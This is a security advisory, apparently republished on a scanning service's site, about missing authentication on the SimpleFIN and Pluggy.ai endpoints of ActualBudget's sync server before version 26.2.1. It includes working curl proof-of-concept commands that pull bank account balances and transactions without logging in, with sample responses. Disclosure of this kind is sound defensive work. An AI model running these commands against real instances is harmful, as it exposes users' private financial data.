| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| actual | < 26.2.1 | 26.2.1 |
| @actual-app/sync-server | < 26.2.1 | 26.2.1 |
Missing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information.
This vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network.
The ActualBudget server component allows for integration with SimpleFIN and Pluggy.ai services. These services read bank account balances and transaction data from users' banks and return the data to ActualBudget. The affected endpoints facilitate this integration and are intended to be used only by logged in users for the purposes of syncing bank transaction data.
The vulnerable source code is in the following files in the actualbudget/actual GitHub repository (https://github.com/actualbudget/actual/):
/packages/sync-server/src/app-simplefin/app-simplefin.js/packages/sync-server/src/app-pluggyai/app-pluggyai.jsThe sensitive endpoints missing authentication are:
POST /simplefin/statusPOST /simplefin/accountsPOST /simplefin/transactionsPOST /pluggyai/statusPOST /pluggyai/accountsPOST /pluggyai/transactionsThe following source code is an example of an integration that implements the authentication middleware (packages/sync-server/src/app-gocardless/app-gocardless.js):
const app = express();
app.use(requestLoggerMiddleware);
...
app.use(express.json());
app.use(validateSessionMiddleware); // <-- Uses authentication
The below commands exploit this vulnerability on both the SimpleFIN and Pluggy.ai endpoints. No authentication is required. Network access is required.
SimpleFIN:
# Check if SimpleFIN is configured
curl -X POST "https://<actualbudgethost>/simplefin/status"
# List SimpleFIN accounts
curl -X POST "https://<actualbudgethost>/simplefin/accounts"
# List SimpleFIN transactions with an account ID from the previous request
curl -X POST "https://<actualbudgethost>/simplefin/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'
これらの製品をお使いですか？サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャンPluggyAI:
# Check if PluggyAI is configured
curl -X POST "https://<actualbudgethost>/pluggyai/status"
# List Pluggy.ai accounts
curl -X POST "https://<actualbudgethost>/pluggyai/accounts"
# List Pluggy.ai transactions with an account ID from the previous request
curl -X POST "https://<actualbudgethost>/pluggyai/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'
Example response from POST /simplefin/accounts:
{
"status": "ok",
"data": {
"accounts": [
{
"id": "ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
"name": "CHEQUING ACCOUNT",
"currency": "CAD",
"balance": "1234.56",
"available-balance": "0.00",
"balance-date": 1771531758,
"transactions": [],
"holdings": [],
"org": {
"domain": "www.cibc.com",
"name": "CIBC",
"sfin-url": "https://beta-bridge.simplefin.org/simplefin",
"url": "https://www.cibconline.cibc.com",
"id": "www.cibconline.cibc.com"
}
},
...
]
}
}
Example response from POST /simplefin/transactions:
{
"status": "ok",
"data": {
"ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX": {
"balances": [
{
"balanceAmount": {
"amount": "1234.56",
"currency": "CAD"
},
"balanceType": "expected",
"referenceDate": "2026-02-19"
},
{
"balanceAmount": {
"amount": "1234.56",
"currency": "CAD"
},
"balanceType": "interimAvailable",
"referenceDate": "2026-02-19"
}
],
"startingBalance": 123456,
"transactions": {
"all": [
{
"booked": true,
"sortOrder": 1771502400,
"date": "2026-02-19",
"payeeName": "E-Transfer",
"notes": "SEND E-TFR ***ABC",
"transactionAmount": {
"amount": "-12.00",
"currency": "USD"
},
"transactionId": "TRN-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
"transactedDate": "2026-02-19",
"postedDate": "2026-02-19"
},
...
],
"pending": []
}
}
}
}